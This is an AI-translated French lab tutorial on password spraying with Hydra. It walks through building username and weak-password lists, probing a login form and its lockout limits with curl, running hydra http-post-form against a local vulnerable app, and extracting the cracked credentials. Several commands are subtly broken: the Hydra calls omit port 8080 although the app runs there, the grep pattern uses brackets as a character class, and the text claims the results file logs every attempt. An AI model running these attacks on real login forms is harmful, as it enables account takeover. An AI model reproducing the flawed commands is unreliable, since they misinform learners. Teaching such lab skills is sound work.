Effectuer un « password spraying » avec Hydra

Beginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire, vous apprendrez à effectuer des attaques de « password spraying » en utilisant Hydra, un outil polyvalent de cybersécurité pour les tests de force brute. Vous explorerez le processus de configuration d'Hydra, la création de listes de credentials et l'exécution d'attaques ciblées contre les formulaires d'authentification web.

Le laboratoire offre une expérience pratique dans la configuration des paramètres d'attaque, l'analyse des résultats et l'identification des credentials faibles. Grâce à des exercices pratiques, vous comprendrez les vulnérabilités d'authentification courantes et les stratégies de défense.


Skills Graph

Installer Hydra

Dans cette étape, vous allez installer Hydra, un outil de craquage de mots de passe puissant et flexible que les professionnels de la sécurité utilisent pour tester la sécurité des systèmes. Hydra peut effectuer des attaques de force brute contre de nombreux services réseau différents, tels que les sites web (HTTP), les transferts de fichiers (FTP) et les connexions sécurisées (SSH). Comprendre le fonctionnement de ces outils vous aide à mieux protéger les systèmes contre les attaques.

  1. Tout d'abord, nous devons mettre à jour la liste des paquets de votre système. Cela garantit que vous installerez la dernière version disponible d'Hydra :

    sudo apt update

    La commande sudo vous donne les privilèges d'administrateur, tandis que apt update met à jour votre liste de logiciels disponibles.

  2. Maintenant, installez Hydra avec cette commande simple :

    sudo apt install hydra -y

    Le paramètre -y répond automatiquement "oui" à toutes les demandes pendant l'installation, rendant le processus plus fluide.

  3. Après l'installation, vérifions que Hydra fonctionne correctement en vérifiant sa version :

    hydra -v

    Vous devriez voir une sortie similaire à :

    Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

    Cette vérification de version confirme que Hydra est correctement installé et prêt à être utilisé.

  4. Pour les fonctionnalités avancées et de meilleures performances avec des protocoles spécifiques, installez ces dépendances facultatives :

    sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev -y

    Ces bibliothèques permettent à Hydra de fonctionner avec des services supplémentaires tels que les bases de données (MySQL, PostgreSQL) et les systèmes de contrôle de version (Subversion).

Préparer les listes d'utilisateurs et de mots de passe

Dans cette étape, vous allez créer les fichiers texte essentiels dont Hydra a besoin pour effectuer une attaque de « password spraying ». Ces fichiers contiennent les noms d'utilisateur et les mots de passe potentiels que Hydra testera systématiquement contre le formulaire web cible. L'attaque de « password spraying » consiste à tester quelques mots de passe courants sur de nombreux comptes utilisateur, ce qui permet d'éviter les verrouillages de compte qui se produisent lorsqu'on teste de nombreux mots de passe sur un seul compte.

  1. Tout d'abord, accédez au répertoire de votre projet où nous allons stocker nos fichiers. Cela permet de tout organiser en un seul endroit :

    cd ~/project
  2. Maintenant, nous allons créer un fichier contenant des noms d'utilisateur courants. Ce sont des noms de compte typiques qui pourraient exister sur un système. Nous allons utiliser l'éditeur de texte nano pour créer et éditer le fichier :

    nano users.txt

    Ajoutez les noms d'utilisateur courants suivants, un par ligne :

    admin
    administrator
    user
    test
    guest
    root
  3. Ensuite, nous allons créer un fichier de liste de mots de passe. Ce sont des mots de passe faibles que les utilisateurs pourraient définir, ce qui en fait de bons candidats pour les tests. Encore une fois, en utilisant nano :

    nano passwords.txt

    Ajoutez ces mots de passe couramment utilisés, chacun sur sa propre ligne :

    password
    123456
    admin
    letmein
    welcome
    qwerty
  4. Après avoir créé les deux fichiers, vérifions qu'ils existent dans notre répertoire. La commande ls -l affiche des informations détaillées sur les fichiers, notamment leur date de création et leur taille :

    ls -l

    Vous devriez voir users.txt et passwords.txt répertoriés dans la sortie.

  5. Enfin, vérifions le contenu réel de chaque fichier pour nous assurer qu'ils ont été créés correctement. La commande cat affiche le contenu des fichiers directement dans le terminal :

    cat users.txt
    cat passwords.txt

Cibler un formulaire web

Dans cette étape, vous allez identifier et analyser un formulaire web cible pour une attaque de « password spraying ». Nous allons utiliser une application web délibérément vulnérable exécutée sur http://localhost:8080 pour cet exercice. L'attaque de « password spraying » consiste à tester quelques mots de passe courants sur de nombreux comptes utilisateur. Il est donc essentiel de comprendre la structure du formulaire de connexion avant de lancer l'attaque.

  1. Tout d'abord, vérifiez que l'application web cible est en cours d'exécution :

    curl -I http://localhost:8080/login

    Le paramètre -I indique à curl de ne récupérer que les en-têtes HTTP. Vous devriez voir un statut 200 OK confirmant que la page de connexion est accessible. Si vous obtenez une erreur de connexion, assurez-vous que le serveur web est en cours d'exécution avant de continuer.

  2. Examinez la structure du formulaire de connexion en affichant le code source de la page :

    curl http://localhost:8080/login | grep -A5 -B5 "form"

    Cette commande récupère le contenu HTML et affiche 5 lignes avant et après toutes les balises <form>. Recherchez l'attribut action du formulaire (où les données sont envoyées) et les noms des champs de saisie - ces derniers sont généralement appelés username et password, mais peuvent varier.

  3. Créez un fichier de requête de test pour documenter les paramètres du formulaire :

    nano form_test.txt

    Ajoutez ce contenu pour enregistrer les informations clés dont Hydra aura besoin :

    Target URL: http://localhost:8080/login
    Method: POST
    Username field: username
    Password field: password
    Failure indicator: "Invalid credentials"

    L'indicateur d'échec permet à Hydra de reconnaître quand les tentatives de connexion échouent. Nous utiliserons ce fichier plus tard pour configurer notre attaque.

  4. Testez le formulaire manuellement avec une paire d'identifiants unique :

    curl -X POST -d "username=admin&password=wrongpass" http://localhost:8080/login -v

    Le paramètre -X POST spécifie la méthode HTTP, tandis que -d envoie les données du formulaire. Le paramètre -v affiche une sortie détaillée afin que vous puissiez vérifier la réponse « Invalid credentials ». Cela confirme que le formulaire fonctionne comme prévu en cas d'échec de connexion.

  5. Vérifiez les politiques de verrouillage de compte en envoyant 5 requêtes rapides :

    for i in {1..5}; do
      curl -X POST -d "username=admin&password=wrong$i" http://localhost:8080/login -s -o /dev/null -w "Attempt $i: %{http_code}\n"
    done

    Cette boucle envoie 5 tentatives d'échec rapides. Vérifiez si le code d'état HTTP passe de 200 (succès) à 403 (interdit), ce qui indiquerait des protections contre le verrouillage. Les applications réelles ont souvent ces mesures de sécurité, mais notre environnement de test n'en a pas.

Exécuter une attaque de « password spraying »

Dans cette étape, vous allez exécuter une attaque de « password spraying » contre le formulaire web cible en utilisant Hydra avec les listes d'utilisateurs et de mots de passe que vous avez préparées précédemment. L'attaque de « password spraying » est une technique consistant à tester un petit nombre de mots de passe courants sur de nombreux comptes utilisateur, ce qui permet d'éviter les verrouillages de compte qui pourraient survenir lors d'attaques par force brute traditionnelles.

  1. Tout d'abord, accédez au répertoire de votre projet où sont stockées vos listes d'utilisateurs et de mots de passe :

    cd ~/project
  2. Maintenant, nous allons exécuter Hydra avec des paramètres soigneusement sélectionnés. Cette commande indique à Hydra de tester chaque mot de passe de votre liste contre chaque nom d'utilisateur, en utilisant la page de connexion du formulaire web comme cible :

    hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -vV

    Analysons ce que chaque paramètre fait :

    • -L users.txt : Indique le chemin vers votre liste de noms d'utilisateur (un par ligne)
    • -P passwords.txt : Indique le chemin vers votre liste de mots de passe à tester
    • http-post-form : Spécifie que nous attaquons un formulaire web en utilisant la méthode POST
    • /login:... : Définit la structure du formulaire - la partie après les deux points indique à Hydra comment reconnaître les tentatives échouées
    • -t 4 : Exécute 4 connexions parallèles pour accélérer l'attaque
    • -vV : Fournit une sortie détaillée afin que vous puissiez voir la progression
  3. Pendant que Hydra s'exécute, observez attentivement la sortie. Lorsque Hydra trouve des identifiants valides, il les affichera clairement comme ceci :

    [80][http-post-form] host: localhost   login: admin   password: admin
  4. Pour enregistrer vos résultats pour la documentation ou une analyse plus approfondie, exécutez Hydra avec le paramètre -o :

    hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -o results.txt
  5. Une fois l'attaque terminée, vous pouvez afficher les résultats enregistrés avec :

    cat results.txt

    Ce fichier contiendra toutes les combinaisons de connexion réussies trouvées lors de l'attaque.

Analyser les résultats

Dans cette étape, vous allez analyser les résultats de votre attaque de « password spraying » pour identifier les identifiants compromis et comprendre les implications en matière de sécurité. L'attaque de « password spraying » est une technique où les attaquants testent quelques mots de passe courants sur de nombreux comptes plutôt que de nombreux mots de passe sur quelques comptes.

  1. Tout d'abord, examinez le fichier de résultats bruts créé par Hydra. Ce fichier contient toutes les tentatives effectuées par Hydra lors de l'attaque :

    cat ~/project/results.txt

    Recherchez les lignes contenant "[80][http-post-form]" qui indiquent des connexions réussies. Le nombre 80 fait référence au port HTTP, et http-post-form indique qu'il s'agissait d'une soumission de formulaire web.

  2. Pour vous concentrer uniquement sur les tentatives réussies, extrayez les seuls identifiants compromis dans un nouveau fichier. La commande grep filtre les lignes contenant le motif de réussite :

    grep "[80][http-post-form]" ~/project/results.txt > ~/project/compromised_creds.txt
  3. Comptez le nombre de comptes compromis pour comprendre l'ampleur de la vulnérabilité. La commande wc (compte de mots) avec le paramètre -l compte les lignes :

    wc -l ~/project/compromised_creds.txt
  4. Analysez les motifs de mots de passe en générant une liste de fréquences des mots de passe. Cela permet d'identifier les mots de passe faibles qui étaient couramment utilisés :

    awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr

    La commande extrait le 6ème champ (mot de passe), les trie, compte les doublons et les trie par fréquence.

  5. Créez un rapport de sécurité résumant les principales découvertes. Ce format structuré permet de documenter clairement les résultats :

    echo "Password Spray Attack Results" > ~/project/security_report.txt
    echo "Compromised accounts: $(wc -l < ~/project/compromised_creds.txt)" >> ~/project/security_report.txt
    echo "Most common password: $(awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr | head -1)" >> ~/project/security_report.txt
  6. Affichez le rapport de sécurité final pour voir les résultats compilés :

    cat ~/project/security_report.txt

Résumé

Dans ce laboratoire, vous avez appris à effectuer une attaque de « password spraying » en utilisant Hydra sur un système Linux. Le processus a inclus l'installation de l'outil, la préparation des listes d'identifiants et la configuration de l'attaque contre un formulaire web.

Vous avez également exploré les fonctionnalités de base d'Hydra pour les tentatives de force brute sur les services réseau. Le laboratoire a mis l'accent sur les techniques de configuration appropriées, telles que la création de fichiers d'entrée structurés et la compréhension des paramètres de commande essentiels.